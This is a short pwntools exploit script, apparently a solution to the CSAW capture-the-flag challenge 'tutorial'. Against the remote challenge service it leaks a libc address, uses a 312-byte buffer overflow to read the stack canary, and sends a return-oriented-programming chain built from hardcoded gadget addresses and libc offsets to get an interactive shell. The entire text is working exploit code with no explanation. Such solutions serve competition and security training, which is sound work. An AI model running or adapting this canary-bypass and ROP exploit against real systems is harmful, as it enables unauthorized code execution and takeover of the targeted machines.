csaw_tutorial

#!/usr/bin/env python
from pwn import *
p = remote("pwn.chal.csaw.io", 8002)
#p = remote("0", 8002)
p.recvuntil(">")
p.sendline("1")
leak = int(p.recvline(0)[10:],16)
p.recvuntil(">")
p.sendline("2")
p.recvuntil(">")
p.send("A"*312)
p.recvn(312)
cookie = p.recvn(8)
p.recvuntil(">")
p.sendline("2")
raw_input("debug")
p.sendline("A"*312 + cookie + p64(0x4012e3)*2 + p64(4) + p64(0x4012e1) + p64(0)*2 + p64(leak+508208+0x500) + p64(0x4012e3) + p64(leak+1100643+0x500) + p64(leak-169936+0x500))
#p.sendline("A"*312 + cookie + p64(0x4012e3)*2 + p64(4) + p64(0x4012e1) + p64(0)*2 + p64(leak+555760+0x500) + p64(0x4012e3) + p64(leak+1167291+0x500) + p64(leak-172624+0x500))
p.interactive()